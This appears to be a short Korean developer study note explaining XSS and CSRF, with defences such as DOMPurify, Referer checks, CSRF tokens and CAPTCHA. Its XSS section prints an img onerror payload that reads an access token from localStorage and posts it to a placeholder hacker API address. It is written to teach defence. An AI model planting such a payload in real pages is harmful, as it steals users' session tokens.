XSS

Cross-Site-Script(Scripting) 웹사이트에 의도하지 않은 스크립트를 넣어 실행시키는 공격 기법입니다.

React의 dangerouslySetInnerHTML이나 HTML의 innerHTML을 사용하면 웹 에디터에 입력한 HTML 태그가 적용된 형태로 내용을 보여 줄 수 있습니다. 하지만 이 방식은 XSS 공격에 취약해서 위험합니다.

대표적인 예를 들면

<img src="#" onerror="
	const aaa = localStorage.getItem('accessToken');
	axios.post(해커API주소, {accessToken = aaa});
" />

위처럼 img 태그에 onerror 속성을 넣고, 해당 태그를 dangerouslySetInnerHTML 나 innerHTML 속성을 이용해 불러왔을 때 사용자에게서 중요한 정보를 빼내는 스크립트가 실행되도록 할 수 있습니다.

XSS 방지법

이런 공격을 자동으로 막아 주는 DOMPurify 같은 라이브러리를 사용할 수 있습니다.

CSRF

Cross-site request forgery 웹 애플리케이션 취약점 중 하나로, 사용자가 의도하지 않은 요청을 공격자가 서버로 보내게 만드는 공격입니다.

XSS는 사용자의 브라우저에서 스크립트가 실행되는 공격이고, CSRF는 사용자의 인증 정보를 이용해 서버에 원치 않는 요청을 보내게 하는 공격입니다.

CSRF 예시

1. 공격자는 송금 요청을 조작하려고 합니다.
2. 공격자는 링크에 송금 요청을 심어 로그인한 사용자들에게 보냅니다.
3. 사용자가 링크를 누르면 의도하지 않은 요청이 서버로 전송됩니다.
4. 서버는 로그인한 사용자의 요청이라 정상으로 인식하고 공격자에게 돈을 보냅니다.

CSRF 방지법

1. Referer 검증 요청 헤더의 Referer(요청을 보낸 페이지 정보)를 확인해, 같은 도메인에서 온 요청이 아니면 차단합니다.

2. CSRF Token 사용 임의의 값을 사용자 세션에 저장하고, 모든 요청에서 이 토큰을 함께 검증합니다.

3. CAPTCHA 사용 사람인지 확인하는 CAPTCHA로 사용자가 직접 보낸 요청인지 걸러낼 수 있습니다.

Reference

• 코딩하는 경제학도
• CSRF 공격이란?